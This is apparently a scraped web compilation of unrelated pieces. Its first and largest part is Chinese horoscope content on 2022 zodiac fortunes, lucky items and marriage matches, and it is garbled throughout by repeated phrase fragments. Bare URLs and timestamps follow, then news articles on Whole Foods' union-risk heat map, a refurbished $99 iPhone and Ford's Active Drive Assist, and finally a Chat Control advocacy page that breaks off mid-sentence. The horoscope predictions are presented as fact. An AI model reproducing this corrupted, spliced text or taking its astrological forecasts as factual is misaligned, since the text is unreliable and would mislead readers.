狮子座** 2022年的狮子座可以说是比较幸运的星座之一座之一，这一整年总体运势非常不错常不错，事业上贵人缘爆棚;不仅感情稳定情稳定，还有不错的财运趋势;对于狮子座来说是把握机遇的一年的一年，好运势的巅峰时期峰时期。 幸运色：蔚蓝色 幸运数字：4 幸运物：手帕 ** 处女座** 2022年的处女座运势还不错还不错，并且2022年是处女座事业运大逆袭的时期;跳槽或是换一份非常不错的工作的工作，把自己的长处发挥地淋漓尽致漓尽致，获得上级领导的认可;在事业上会很大的收获与成绩;下半年升职加薪的机会很大会很大。 幸运色：土黄色 幸运数字：8 幸运物：短统靴 ** 天秤座** 2022年天秤座总体运势一般势一般，在人际交往方面仍然不足然不足，很难分辨好人与小人与小人。因此在2022年天秤座可能会遭到小人的暗算的暗算，会遇到比较倒霉的事情的事情。要注意身边的朋友的朋友，谨防小人防小人。 幸运色：红色 幸运数字：3 幸运物：领带 ** 天蝎座** 2022年天蝎座的好运不断运不断，对于天蝎座来说是非常完美的一年的一年。不仅收获了爱情了爱情，还有事业上的成功;2022年天蝎座没有什么太大的变化的变化，只是遇到困难到困难，从不会退缩会退缩，勇往直前;所以凭借自身的努力创造辉煌的人生的人生，2022年是天蝎座最幸福的一年的一年。 幸运色：玫瑰粉红 幸运数字：0 幸运物：皮制背包 ** 射手座** 2022年的射手座运势不是特别好特别好，但是擅长人际交往际交往，朋友众多;关键时刻都会有贵人相助人相助，因此2022年射手座虽然没有什么大灾大难灾大难，混的也不是特别的惨;生活还能继续能继续，依旧开朗过每一天每一天。 幸运色：绿色 幸运数字：6 幸运物：胸针 ** 摩羯座** 2022年的摩羯座总体运势不是很好是很好，也许是摩羯座高冷、过于自负的性格;在2022年里依旧保持着自己的自信的自信，认为凡事都可以依靠自己靠自己，从来没有考虑过团队合作;这样的摩羯座在2022年里事业可能会遇到前所未有的困难的困难，栽一个跟头是必然的事情的事情。 幸运色：水蓝色 幸运数字：5 幸运物：钢笔 ** 水瓶座** 2022年水瓶座的运势非常糟糕常糟糕，一向聪明睿智的水瓶座水瓶座，可能会在经济上遇到大麻烦;投资失利或是做生意亏本的可能性很大;因此2022年的水瓶座处事需谨慎需谨慎，做决定前要再三思考三思考。 幸运色：橘色 幸运数字：1 幸运物：银饰 ** 双鱼座** 2022年双鱼座的总体运势还不错还不错，这一整年都能够心想事成想事成。双鱼座属于爱幻想、浪漫型的星座的星座，凡事都忘美好的地方想地方想，因此生活中的双鱼座很少有烦恼;更多的是开心与幸福;所以在难的事情都会成为双鱼座感到困顿的问题的问题。 幸运色：银色 幸运数字：7 幸运物：戒指 ** 射手座幸运色** 射手座共有三个幸运色幸运色。分别为白色、黑色、蓝色系蓝色系。白色象征着光明与纯洁与纯洁，正如射手活泼开朗的性格;黑色象征邪恶(即黑暗力量)与秘密与秘密，表示射手孤寂手孤寂，渴望希望与光明的向往与追求;蓝色沉稳的.特性，具有纯洁、理智、准确的意象的意象，表示射手理性冷静的睿智与机敏与机敏。如果遇到这三个数字可就是幸运的象征的象征。 ** 射手座2022年运势** 射手座2022年整体运势不错势不错。事业：个性洒脱自由的射手座射手座，在2022上半年的事业运势明显起伏比较大比较大。尤其是一门心思想要赚大钱的射手座们手座们，过于急功近利功近利，反而被束手束脚手束脚。爱情：2022年上半年上半年，射手座的爱情运势明显下滑显下滑，表现出很疲惫的样子的样子。财运：进入2022年的射手座正财运明显上涨显上涨，虽然没有升职加薪职加薪，但是射手座的意外之财非常旺盛;有不少的发财机会财机会。所以可要好好珍惜这次机会次机会。 ** 射手座的幸运数字** 射手座的幸运数字是8。数字8代表权利和富裕和富裕，谐音有发音有发，财源广进的意思的意思。在幸运数字8的庇护下庇护下，射手座财运状况相当不错当不错，而运势的关键词就是热情是热情。这一年射手座可以多留意自己的财运的财运，对任何人任何事都应该热情一些情一些，基本上没有钱财的压力的压力，慷慨释放自己的善意的善意，才能收获更多回馈多回馈。所以与8有关的瞬间的瞬间，都要好好留意了留意了。 让我们来看看十二星座中专属吊坠笔吊坠笔，美轮美奂的星座都有谁都有谁？ 白羊座：七吊坠笔 我希望我的生活是多姿多的姿多的，每天都有很多惊喜多惊喜。因此，在选择吊坠笔时坠笔时，白羊座会毫不犹豫地选择色吊坠笔吊坠笔，希望用色吊坠笔勾勒出自己的色生活色生活。 金牛座：黑色吊坠笔 金牛座工作后很少使用钢笔用钢笔，但他们习惯于在书包里放一支黑色吊坠笔以备不时之需时之需。金牛座认为黑色吊坠笔适用于任何场合何场合，更方便、更实用更实用。 双子座：红色吊坠笔 引人注目的红色吊坠笔是双子座的专属吊坠笔吊坠笔。双子座觉得红色可以起到警觉的作用的作用，所以他们会以严肃的态度记录度记录，总是告诉自己要认真对待生活和工作和工作。 巨蟹座：发光的吊坠笔 闪闪发光的吊坠笔是巨蟹座的专属吊坠笔吊坠笔。巨蟹座希望他的生活像吊坠笔一样闪闪发光闪发光。然而，有时很多人会说巨蟹座的吊坠笔很幼稚很幼稚，不适合工作合工作。 狮子座：简约风的吊坠笔 简单的吊坠笔是狮子座的专属吊坠笔吊坠笔，没有多余的吊坠简单的吊坠笔会给狮子座带来好运来好运，让他们的工作和生活更加顺利加顺利，甚至认识他们的另一半另一半。 处女座：可爱的风挂笔 处女座更喜欢可爱的吊坠笔吊坠笔。旅行时旅行时，处女座总是会带一支可爱的吊坠笔作为纪念品来证明他去过那里过那里。处女座对这个可爱的小东西没有抵抗力抵抗力。 小熊吊坠笔：天秤座 小熊吊坠笔是天秤座的幸运物幸运物。当天秤座心情不好或运气不好时不好时，天秤座可以买一支小熊吊坠笔吊坠笔，他的厄运就会消除会消除。 天蝎座：糖块吊坠笔 天蝎座无法抗拒甜甜的糖果的糖果。每次站在糖果面前果面前，天蝎座都会情不自禁地拿出钱包去买包去买。天蝎座忍不住买了一支漂亮的糖果挂笔果挂笔。 射手座：蓝色吊坠笔 射手座喜欢蓝色欢蓝色。他们认为蓝色会给自己带来好运来好运。因此，射手座在选择吊坠笔时也会选择蓝色择蓝色。浅蓝色会让射手座的心情变得更好得更好，射手座的运气会随着心情变得更好得更好。 摩羯座：动物吊坠笔 摩羯座的专属吊坠笔是挂着各种可爱小动物的吊坠笔吊坠笔。每次看到这样的吊坠笔吊坠笔，毫不夸张地说张地说，他的眼睛都动不了动不了，他所有的心都很温暖很温暖，他忍不住把它买回家买回家。 水瓶座：棉花糖挂笔 水瓶座喜欢收集各种各样的棉花糖挂笔糖挂笔。他们的桌子上有一排专门用来存放棉花糖挂笔糖挂笔，水瓶座也喜欢把你最喜欢的棉花糖挂笔给我周围的人围的人。 双鱼座：羽毛吊坠笔 各种羽毛都很好都很好。双鱼座喜欢带羽毛的吊坠笔吊坠笔。每次你开始一个新的羽毛吊坠笔吊坠笔，好事就会发生在双鱼座双鱼座。因此，当双鱼座不开心时开心时，他会给自己买一支羽毛吊坠笔吊坠笔，希望能带来自己的厄运的厄运。 结婚看感情看感情。。。。何必信这些信这些。。。如果看的话那就是火克金五行相生是金生水 水生木 木生火 火生土 土生金土生金。。。。。克的就是金克木 木克土 土克水 水克火火克金 十二星座女嫁给哪个星座男 十二星座女嫁给哪个星座男星座男，有些星座的办事能力让人觉得钦佩得钦佩，星座能量场不合最好不要在一起在一起，这个星座的吸引力是十分强大的强大的，现在跟大家分享十二星座女嫁给哪个星座男希望对你有帮助有帮助。 1、白羊女：巨蟹男巨蟹男。很多白羊女都比较喜欢耍小性子小性子，说话也十分直接分直接，很容易得罪人得罪人，因此，她们往往都需要一个包容心强的伴侣的伴侣，能够容忍她们的任性和无理取闹理取闹，而巨蟹座的男生就是最好的选择的选择。 2、金牛女：摩羯男摩羯男。金牛女都比较务实较务实，看待事情都习惯从实际角度出发度出发，她们希望自己的婚姻生活是平凡且稳定的稳定的，这与摩羯座的男生的婚姻观不谋而合谋而合，在一起之后自然幸福美满福美满。 3、双子女：白羊男白羊男。很多双子女的性格都有些跳脱些跳脱，她们的好奇心和求知欲都很强都很强，总喜欢探索那些未知的事物的事物，而白羊座的男生有勇气、敢拼搏敢拼搏，能时刻陪伴着她们着她们，婚后生活自然也很幸福很幸福。 4、巨蟹女：金牛男金牛男。对大多数巨蟹女来说女来说，家庭始终都是最重要的重要的，为了维护家庭的和谐的和谐，她们甘愿付出一切出一切，而金牛座的男生也爱家顾家家顾家，结婚之后定能幸福一生福一生。 5、狮子女：水瓶男水瓶男。狮子女脾气有些暴躁些暴躁，也十分好面子好面子，性格强势又霸道又霸道，让许多异性都敬而远之而远之，但水瓶座的男生思想开放想开放，对很多事情都看得很开得很开，能接受狮子女的一切的一切，嫁给他们自然幸福一生福一生。 6、处女女：天秤男天秤男。对于自己的另一半另一半，很多处女女都有着非常严苛的要求和标准和标准，总希望自己能找到一个各方面条件都很不错的人错的人，而天秤座的男生为人大度人大度，能容忍处女女的挑三拣四三拣四。 7、天秤女：狮子男狮子男。天秤女做事往往都有些优柔寡断柔寡断，总是瞻前顾后、思量再三也难以抉择以抉择，因此，他们需要一个能替自己下决定的人定的人，而性格果断的狮子座男生就非常合适常合适。 8、天蝎女：双子男双子男。天蝎女浑身上下都萦绕着一种似有若无的神秘感神秘感，让人忍不住想要一探究竟探究竟，而双子座的男生好奇心旺盛心旺盛，遇到天蝎女之后女之后，必然会忍不住靠近住靠近，心里眼里都只有对方一人方一人。 9、射手女：处女男处女男。大大咧咧的射手女射手女，往往都有些丢三落四、粗心大意心大意，因此，她们需要一个细心的人时时提醒着她们诸多事务多事务，而处女座的男生是出了名的心思细腻思细腻，嫁给他们自然会获得幸福得幸福。 10、摩羯女：双鱼男双鱼男。众所周知所周知，摩羯女是出了名的不解风情解风情，可事实上事实上，又有哪个女生不喜欢浪漫呢浪漫呢？嫁给双鱼座的男生之后生之后，她们时不时就能收到惊喜和感动和感动，自然幸福美满福美满。 11、水瓶女：射手男射手男。水瓶女一直都很注重个人隐私人隐私，即便结婚了结婚了，也要拥有个人空间人空间，而射手座的男生也希望找到一个独立性强的伴侣的伴侣，彼此之间相互依赖互依赖，却也相互独立互独立。 12、双鱼女：天蝎男天蝎男。双鱼女性情柔弱情柔弱，依赖性强赖性强，总把伴侣当作是自己的天己的天，而天蝎座的男生性格强势格强势，习惯掌控一切控一切，双方之间一强一弱强一弱，十分互补分互补，结婚之后自然能幸福一生福一生。（lj） 1、白羊女：白羊男白羊男。如果两个白羊座在一起在一起，往往不会感到无聊和沉闷和沉闷，也许你们会吵架会吵架，但那不过是生活的调剂品而已品而已，床头吵床尾和说的就是你们是你们，多半有很完美的感情呢感情呢。 2、金牛女：摩羯男摩羯男。金牛和摩羯在某种程度上程度上，可能缺乏热情乏热情，因为两人都比较内敛含蓄敛含蓄，但一定不乏温情和细水长流的爱情的爱情，只要双方能敞开心扉开心扉，就是很适合居家过日子的组合的组合。 3、双子女：天秤男天秤男。天秤男通常有情怀也有气质有气质，重视原则的他们虽然犹豫不决豫不决，但想好的事情一定会做到会做到，算是一诺千金的人金的人，这让善变的双子女很欣赏很欣赏，觉得很有安全感安全感。 4、巨蟹女：双鱼男双鱼男。巨蟹的温柔和付出只有在面对双鱼的时候的时候，才不会被浪费被浪费，双鱼实在是很能理解巨蟹解巨蟹，巨蟹偶尔的小情绪和小脾气小脾气，双鱼也能用如沐春风般的口才瞬间化解间化解。 5、狮子女：射手男射手男。两人很容易一见钟情见钟情，而且因为相似的特质的特质，感情也能与日俱增日俱增，很少吵架少吵架，能屈能伸的射手完全搞得定霸气的狮子女狮子女，他们还十分理解狮子卸下伪装后的脆弱的脆弱。 6、处女女：金牛男金牛男。金牛的`踏实稳重和一丝不苟的性格的性格，让心思灵巧敏锐的处女很受用很受用，两人的感情是日久生情的那种的那种，会随着时间的推移的推移，越来越深厚越深厚。 7、天秤女：处女男处女男。处女男虽然有挑剔的一面的一面，但对爱情的付出很实际很实际，爱一个人不会计较回报较回报，而天秤骨子里是很渴望被爱得多一点多一点，情商高的天秤对处女的挑剔也完全能够理解够理解。 8、天蝎女：天蝎男天蝎男。很适合内部消化的一对星座组合座组合，两人在一起不仅会互相吸引和欣赏和欣赏，还会互相猜忌和戒备和戒备，相似的特质会让两人的关系像史密斯夫妇一样妇一样，充满了各种火花种火花。 9、射手女：双子男双子男。双子男会被射手女的潇洒和小任性的一面吸引面吸引，会变得心甘情愿为她们服务们服务，满足她们的需求的需求，而射手也能回馈给双子男不断的创意和灵感和灵感，是很适合的一对的一对。 10、摩羯女：狮子男狮子男。摩羯女很希望能找到一个强者与自己共度下半生下半生，而好强且为了变强不断努力的狮子正好能满足摩羯的需要的需要，而且狮子的霸气也会让高冷的摩羯放下身段下身段。 11、水瓶女：水瓶男水瓶男。像水瓶这么不爱吐露内心和有点“外星人”感觉的星座的星座， 真的很适合跟同一个星座的人在一起在一起，互相懂得对方不想说出口的语言的语言，是默契不断的一对的一对。 12、双鱼女：巨蟹男巨蟹男。永远重视感情的巨蟹男往往可以给双鱼女十分的爱分的爱，安抚她们的多愁善感愁善感，在她们犹豫不决的时候为她们做决定做决定，保护她们护她们，给予他们体贴和温柔和温柔。 ** 十二星座女各自嫁给哪个城市的男人最幸福** 1、白羊女：哈尔滨哈尔滨。白羊女最欣赏哈尔滨男人直接干脆、果断利落的性格的性格，而对方粗活累活全包的大男子主义子主义，也让她们心里充满柔情满柔情，一个霸道一个刁蛮个刁蛮，即使发生了争执了争执，只要白羊撒个娇撒个娇，那些小打小闹反而还增进了彼此的感情的感情。 2、金牛女：杭州。金牛女喜欢斯文得体的男人的男人，那种不修边幅、邋里邋遢的男人的男人，往往都会被她们直接划到淘汰区淘汰区，而杭州男人州男人，大多都待人谦和、举止得体止得体，看起来就是温文尔雅的代表的代表，这种满足温和型的男人最对金牛女的口味了口味了。 3、双子女：上海。上海男人大多数都是在外是绅士是绅士，在内是煮夫是煮夫，所以和他们在一起的话起的话，双子往往都不用操心每天晚上吃什么吃什么，而他们的绅士风度士风度，也会在吵架时尽量让着双子着双子，这让喜欢逞口舌之快的双子非常满意常满意。 4、巨蟹女：重庆。重庆男人爱恨分明恨分明，也有着很强的占有欲占有欲，他们向来都是爱就在一起在一起，不爱就分开就分开，而他们谈恋爱的话往往都是奔着结婚去的婚去的，嫁给他们的话们的话，巨蟹女就成了他们感情的全部的全部，对方的真心也让巨蟹女有足够的安全感安全感。 5、狮子女：温州。大多数温州男人在勤劳的同时的同时，还极其富有开拓精神拓精神，和狮子女一样女一样，他们也有着很强的事业心事业心，嫁给他们的话们的话，你们的事业往往都会更加风生水起生水起，在事业成功的基础上基础上，你们的爱情也能体会到双倍的快乐的快乐。 6、处女女：广州。处女女最喜欢勤奋的男人的男人，她们比较务实较务实，希望结婚后有个稳定的物质保障质保障，即使现在经济条件不充足不充足，也必须是个潜力股才行股才行，而分分秒秒都在拼的广州男人州男人，正好能成为她们的依靠的依靠，也能让处女女安心地过日子过日子。 7、天秤女：北京。优雅的天秤女碰上文化底蕴深厚的北京男人京男人，简直就是天造地设的一对的一对，两人的思想都比较开放前卫放前卫，在很多事情上的看法也都保持一致持一致，很容易形成共识成共识，而北京男人身上的聪慧机智也让天秤女颇为欣赏为欣赏。 8、天蝎女：成都。大多数成都男人都比较温情较温情，他们的生活态度向来都是不温不火、不疾不徐疾不徐，也比较顾家较顾家，帮忙做家务的时候也很少讨价还价价还价，这样温情的男人的男人，能给予天蝎女一种久违的安定感安定感，让天蝎女的内心充满温暖满温暖。 9、射手女：长沙。大多数长沙男人都很有创意有创意，喜欢追求潮流求潮流，跟天性爱玩又贪图新鲜的射手一拍即合拍即合，他们会有很多共同话题同话题，即使偶尔意见不和、吵得面红耳赤红耳赤，冷静过后也还是会挽着手去看电影看电影，相处起来是非常舒服的一对的一对。 10、摩羯女：苏州。摩羯女感情内敛情内敛，温和多情的苏州男人最是合适是合适，他们能在摩羯女工作之余给予及时的安慰和鼓励和鼓励，也会制造一些浪漫的小惊喜小惊喜，让彼此鼓噪的生活充满温情满温情，在温馨美好的氛围中度过每一天每一天，是一对非常恩爱的组合的组合。 11、水瓶女：深圳。水瓶女是个思想很前卫的人卫的人，而帅气多金的深圳男人圳男人，往往都是他们的最佳拍档佳拍档，他们大多都有着稳定的物质基础质基础，也注重物质享受质享受，在一起时也有彼此的朋友圈朋友圈，可以说是最具现代生活作风的潮流组合了组合了。 12、双鱼女：西安。对双鱼女来说女来说，他们需要的是忠诚专一的伴侣的伴侣，而西安男人专情的情感态度感态度，往往都会让双鱼女非常放心常放心，西安男人的爱如是默默无声的无声的，他们会给予一个可靠的肩膀的肩膀，为对方遮风挡雨风挡雨，让对方拥有足够的安全感安全感。（lj） 十二星座流沙钢笔,十二星座幸运佩戴饰品,十二星座的情侣戒指文章阅读

十二星座专属书桌,十二星座的人都喜欢什么生日礼物?提起十二星座专属书桌，大家都知道，有人问十二星座的人都喜欢什么生日礼物？另外，还有人想问十二星座是哪些，你知道这是怎么回事？其实12星座的书房应该怎么布置，下面就一起来看看十二星座的人都喜欢什么生日礼物？

2024-10-12 00:00:00

2024-10-01 00:00:00

https://docs.electronut.in/papyr/

https://www.businessinsider.com/whole-foods-tracks-unionization-risk-with-heat-map-2020-1

Amazon-owned Whole Foods is quietly tracking its employees with a heat map tool that ranks which stores are most at risk of unionizing

Hayley Peterson

- Amazon-owned Whole Foods is tracking and scoring stores it deems at risk of unionizing, according to five people with knowledge of the effort and **internal documents viewed by Business Insider.** - The scores are based on more than two dozen metrics, including racial diversity, employee loyalty, "tipline" calls, and violations recorded by the Occupational Safety and Health Administration. - In response to this story, Whole Foods said: "Whole Foods Market recognizes the rights of our Team Members to decide whether union representation is right for them. We agree with the overwhelming majority of our Team Members that a direct relationship with Whole Foods Market and its leadership, where Team Members have open lines of communication and every individual is empowered to share feedback directly with their team leaders, is best." - Tracking active or potential unionization is a common practice among large companies, according to labor experts. - If you are an employee of Whole Foods and have information to share, contact this reporter at hpeterson@businessinsider.com. - Visit Business Insider's homepage for more stories. Whole Foods is keeping an eye on stores at risk of unionizing through an interactive heat map, according to five people with knowledge of the matter and internal documents viewed by Business Insider. The heat map is powered by an elaborate scoring system, which assigns a rating to each of Whole Foods' 510 stores based on the likelihood that their employees might form or join a union. The stores' individual risk scores are calculated from more than two dozen metrics, including employee "loyalty," turnover, and racial diversity; "tipline" calls to human resources; proximity to a union office; and violations recorded by the Occupational Safety and Health Administration. The map also tracks local economic and demographic factors such as the unemployment rate in a store's location and the percentage of families in the area living below the poverty line. The stores' scores on each metric are fed into the heat map, which is a geographic illustration of the United States peppered with red spots to indicate high-risk Whole Foods stores. The heat map reveals how Whole Foods is using technology and data to help manage its vast workforce of more than 95,000 employees. It also provides a rare look into corporate labor-tracking activities, a common practice among large companies but one rarely discussed publicly. A statement on the map describes its purpose as specific to monitoring unionization among its employees, which the company calls team members. "The [Team Member] Relations Heatmap is designed to identify stores at risk of unionization," the statement reads. "This early identification enables resources to be funneled to the highest need locations, with the goal of mitigating risk by addressing challenges early before they become problematic." Whole Foods did not respond to questions about what sort of resources are funneled to the "highest need" stores. In a statement provided to Business Insider, the company said an "overwhelming majority" of its employees prefer a "direct relationship" with the company over union representation. "Whole Foods Market recognizes the rights of our Team Members to decide whether union representation is right for them," the company said. "We agree with the overwhelming majority of our Team Members that a direct relationship with Whole Foods Market and its leadership, where Team Members have open lines of communication and every individual is empowered to share feedback directly with their team leaders, is best. "Our open-door communication policy allows us to understand and quickly respond to the needs of our workforce, while recognizing, rewarding, and supporting the goals of every member of our team," the statement continued. "At Whole Foods Market, we're committed to treating all of our Team Members fairly, creating a safe, inclusive, and empowering working environment, and providing our Team Members with career advancement opportunities, great benefits, and competitive compensation, including an industry-leading starting minimum wage of $15/hour." ## How Whole Foods calculates a store's risk of unionizing Whole Foods uses the heat map and related scores to determine where stores must take action to address risks, according to the documents and people familiar with the map. Overall, higher scores indicate lower risks of unionization. The map monitors three main areas: "external risks," "store risks," and "team member sentiment." Some of the factors that contribute to external risk scores include local union membership size; distance in miles between the store and the closest union; number of charges filed with the National Labor Relations Board alleging labor-law violations; and a "labor incident tracker," which logs incidents related to organizing and union activity. Other external factors include the percentage of families within the store's zip code that fall below the poverty line and the local unemployment rate. ## Whole Foods' heat map says lower rates of racial diversity increase unionization risks The second group of metrics in the scoring system, called store risks, aren't a direct cause of risk "but can predispose a store to risk," according to documents. Store-risk metrics include average store compensation, average total store sales, and a "diversity index" that represents the racial and ethnic diversity of every store. Stores at higher risk of unionizing have lower diversity and lower employee compensation, as well as higher total store sales and higher rates of workers' compensation claims, according to the documents. The third area of metrics is "team member sentiment." These metrics, which include items like employee loyalty and engagement, are "designed to be the most actionable," the documents show. The "sentiment" data is pulled from internal employee surveys and "is likely to be the first score to improve based on your efforts." These measures assess employees' feedback on the quality and safety of their work environment and whether they feel supported and respected, among other things. ## Tracking potential unionization is common among large companies With the heat map, Whole Foods appears to be trying to identify and address circumstances ripe for employee unrest that could lead to attempts to form a union. This type of workforce analysis is something large companies have done for decades, albeit without some of the technology available today that can automate parts of that process, according to labor experts. Walmart, for example, hired an intelligence-gathering service from Lockheed Martin and ranked stores by labor activity when it faced protests eight years ago organized by the union-backed activist group OUR Walmart, according to a 2015 Bloomberg Businessweek story citing thousands of court documents. "Employers spend millions of dollars a year to hire union avoidance advisers to see how susceptible they are to their workers organizing," Celine McNicholas, the director of government affairs and labor counsel for the Economic Policy Institute, said. ## Why some companies closely track union activity "A preponderance of the business community [has] a total allergy to unionization," Wilma Liebman, who served on the National Labor Relations Board under Presidents Obama, Bush, and Clinton, said. Unions give employees more bargaining power over things such as wages and health benefits, she said. They could also increase the chances of employee strikes, which can disrupt business. Companies "don't want anything that's going to interfere with their autonomy and their ability to act unilaterally" and "sometimes they're convinced [unions] are going to cost them more than they can afford," Liebman said. Research shows unionized workers tend to earn higher wages and are more likely to have access to certain benefits like employer-sponsored healthcare. Critics of unions argue, however, that the organizations can harm companies economically, forcing layoffs or job outsourcing, and that they don't have workers' best interests in mind. That's why some companies monitor their workers to try to address any signs that employees might organize head-on. US labor law protects employees' right to unionize. It's legal, however, for a company to monitor and address labor organizing as long as it doesn't threaten, coerce, restrain, or interfere with efforts to unionize. Overall, US companies spent at least $100 million on consulting services for anti-union campaigns between 2014 and 2017, according to data from the Economic Policy Institute based on disclosure forms filed with the US Department of Labor. McNicholas said using a data-powered heat map to monitor for unionization risks "is just the next frontier of employer opposition to unions." *If you are an employee of Whole Foods and have information to share, contact this reporter at hpeterson@businessinsider.com.*

Stores' risk scores are based on more than two dozen metrics, including racial diversity, employee turnover, and "tipline" calls.

2024-10-12 00:00:00

2020-04-20 00:00:00

https://i.insider.com/5e9a0fa229d6d9036e0a849a?width=1200&format=jpeg

article

businessinsider.com

Insider

http://gadgetwise.blogs.nytimes.com/2008/12/29/where-to-find-a-99-iphone/?hp

Where to Find a $99 iPhone

Roy Furchgott

Well, the rumor mill was partly right. For weeks, there was speculation that Wal-Mart Stores would sell a $99 Apple iPhone. There really is a $99 iPhone, but it’s not at Wal-Mart. And Wal-Mart really is selling an iPhone, but it’s not $99. The $99 iPhone is available only from AT&T, and the phone is — as car dealers delicately put it — pre-owned. As long as the supply lasts, or until Dec. 31, AT&T is offering refurbished 8 GB iPhone 3Gs for $99 with a two-year contract (or to people who qualify for an upgrade). The 8 GB G3 usually sells new for $200. Don’t rush to a store, though — the refurbished phones can only be ordered online or by phone. By refurbished, AT&T means someone else owned it first and returned it. The phone may show some wear, but it carries a 90-day warranty. New iPhones have a one-year warranty, according to an AT&T salesman I spoke to at the phone order center. AT&T representatives approached by phone and e-mail had not responded by the time this was posted. Meanwhile, new iPhones are available at Wal-Mart, at a whopping discount of — wait for it — $2 off. As I’ve said before, getting the iPhone into Wal-Mart doesn’t seem like such big a deal. It may put it in front of some buyers who have only seen them on TV before, but I’m not sure that translates into tremendous sales. Putting the iPhone in Wal-Mart is culturally significant, though. It shows how rapidly general acceptance of mobile computing is moving. In little more than a year, the elite smartphone with the most advanced technology has become conventional enough for the most mass-market of all retailers. Comments are no longer being accepted.

The rumors were partly right. There is a $99 iPhone, and there are iPhones at Wal-Mart, but there are no $99 iPhones at Wal-Mart.

2024-10-12 00:00:00

2008-12-29 00:00:00

article

nytimes.com

Gadgetwise Blog

https://www.cnbc.com/2020/06/18/ford-launching-new-driver-system-to-compete-with-teslas-autopilot.html

Ford launching new driver system to compete with Tesla's Autopilot and GM's Super Cruise

Michael Wayland

Ford Motor's answer to advanced driver-assist systems such as Tesla's Autopilot and General Motors' Super Cruise is launching as the automaker introduces important new or redesigned vehicles such as the all-electric Mustang Mach-E crossover. The company's new "Active Drive Assist" will be part of the automaker's "Co-Pilot360" safety and convenience technologies. The hardware for the hands-free driving system will be available to order first on the Mach-E later this year, followed by other "select" vehicles for the 2021 model year, Ford announced Thursday. Customers will have to wait until next year though for the technology to be available on the Mach-E. The crossover, according to the company, will be "among the first" vehicles to receive the system during the third quarter of 2021 via a remote, or over-the-air, update or at a dealership. A spokesman for Ford declined to comment on what other vehicles the technology will be offered on as well as their timing. The automaker's F-150 is likely a good candidate. Ford is unveiling a redesigned version of the pickup next week with a new electrical architecture, or brains, of the vehicle, which is a key enabler for such technologies. Ford's Active Drive Assist will control a vehicle's speed, braking and steering through a system of cameras, radar and other sensors on more than 100,000 miles of divided highways in the U.S. and Canada. The system's design and function are more like GM's Super Cruise than Tesla's Autopilot. Both GM and Ford systems will only operate on pre-mapped roads. They also use an infrared driver-facing camera on the steering column to monitor a driver's attentiveness to allow hands-free driving. Tesla's system offers greater functionality and availability but does not utilize a camera and drivers must check in by touching the vehicle's steering wheel. What will separate Active Driver Assist from GM's Super Cruise, according to Ford officials, will be the way the system handles and interacts with drivers. The main physical difference is Ford's system will communicate with drivers through a digital driver information screen rather than primarily through a light bar on the vehicle's steering wheel. "A huge amount of work was done in this respect," Darren Palmer, global director of battery electric vehicles at Ford, said during a media briefing. "We noticed from reviewing systems on sale that it can be a little bit confusing to customers." Palmer said the system is "very smooth" and clearly communicates how the vehicle is operating, which is "important for building confidence." Active Drive Assist will be available across the Mustang Mach-E lineup. Ford said the availability of the system on other nameplates will vary by vehicle.

Ford's answer to advanced driver-assist systems such as Tesla's Autopilot and General Motors' Super Cruise is called "Active Drive Assist."

2024-10-12 00:00:00

2020-06-18 00:00:00

article

cnbc.com

CNBC

http://speckyboy.com/2012/04/25/how-to-build-an-accordion-image-gallery-with-only-css/

https://www.washingtonpost.com/politics/how-the-trump-campaign-came-to-court-qanon-the-online-conspiracy-movement-identified-by-the-fbi-as-a-violent-threat/2020/08/01/dd0ea9b4-d1d4-11ea-9038-af089b63ac21_story.html

http://www.computerweekly.com/blogs/open-source-insider/2013/03/greenfield-linux-growth-is-fertile-growth-area.html

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https://www.youtube.com/watch?v=JBmdbipkbrk

https://hypersudoku.app

https://www.patrick-breyer.de/en/posts/chat-control/

Chat Control: The EU's CSAM scanner proposal

# Chat Control: The EU’s CSAM scanner proposal 🇫🇷 *French: Traduction du dossier Chat Control 2.0 * 🇸🇪* Swedish: **Chat Control 2.0* 🇳🇱 *Dutch: Chatcontrole* # The End of the Privacy of Digital Correspondence The EU Commission proposes to oblige providers to search all private chats, messages, and emails automatically for suspicious content – generally and indiscriminately. The stated aim: To prosecute child sexual exploitation material (CSEM). The result: Mass surveillance by means of fully automated real-time surveillance of messaging and chats and the end of privacy of digital correspondence. Other aspects of the proposal include ineffective network blocking, screening of personal cloud storage including private photos, mandatory age verification resulting in the end of anonymous communication, appstore censorship and excluding minors from the digital world. **Chat Control 2.0 on every smartphone** On 11 May 2022** the European Commission presented a proposal which would make chat control searching mandatory for all e-mail and messenger providers** and would even apply to so far securely end-to-end encrypted communication services. Prior to the proposal a public consultation had revealed that a majority of respondents, both citizens and stakeholders, opposed imposing an obligation to use chat control. Over 80% of respondents opposed its application to end-to-end encrypted communications. Currently a regulation is in place *allowing* providers to scan communications voluntarily (so-called “Chat Control 1.0”). So far only some unencrypted US communications services such as GMail, Facebook/Instagram Messenger, Skype, Snapchat, iCloud email and X-Box apply chat control voluntarily (more details here). As a result of the mandatory Chat Control 2.0 proposal, the Commission expects a 3.5-fold increase in scanning reports (by 354%). Parliament has positioned itself almost unanimously against indiscriminate chat control. With supporters and opponents of mandatory chat control irreconcilably opposed among EU governments (EU Council) and no common position adopted, the EU adopted a two-year extension of voluntary chat control 1.0 in 2024 – see timeline and documents. A victim of child sexual abuse and Pirate MEP Patrick Breyer have filed lawsuits to stop the voluntary indiscriminate scanning by US big tech companies (chat control 1.0). ### Explainer video # Take action to stop Chat Control now! **Chat control 2.0 is back on the agenda of EU governments. **In October 2024 we managed once again to stop the unprecedented chat control plan by a narrow “blocking minority” of EU governments. But the Council Presidency can at any time bring it back to the table. The next meeting of Home Affairs ministers will take place in December. Several formerly opposed governments such as France have already given up their opposition. Several still critical governments are only asking for small modifications (e.g. searching for “known content” only or excluding end-to-end encryption) which would still result in mass searches and leaks of our private communications. Therefore there is a real threat that the required majority for mass scanning of private communications may be achieved at any time under the current Hungarian presidency. That is why we now need to get involved and raise our voices to our governments and raise awareness in the wider population. → Previously supportive governments must be convinced to change their minds → Critical governments need to be pushed to demand comprehensive changes, as proposed by the European Parliament, and not just minor changes to the proposal. **In the absence of such fundamental revision, the proposal should be rejected altogether.** This map (feel free to share online!) visualises EU governments positions on chat control on 4 September according to a leak, also summarised in the table below. It helps you understand where your government stands and can help you start your journey as a digital rights advocate against chat control in your country. You will find some helpful resources below. Is your government in favour? → Ask for an explanation and for your government to revert its course. Is your government abstaining? → Ask why and demand that they take a strong stance against chat control. Is your government opposing? → Great, but take a closer look at the reasoning: Some governments like Germany e.g. only object to the scanning of encrypted communications, but are fine with the indiscriminate scanning of other private and public communication, with the end of anonymous communication by requiring age verification, or with introducing a minimum age for “risky” communication apps. Also critical governments need to do more, 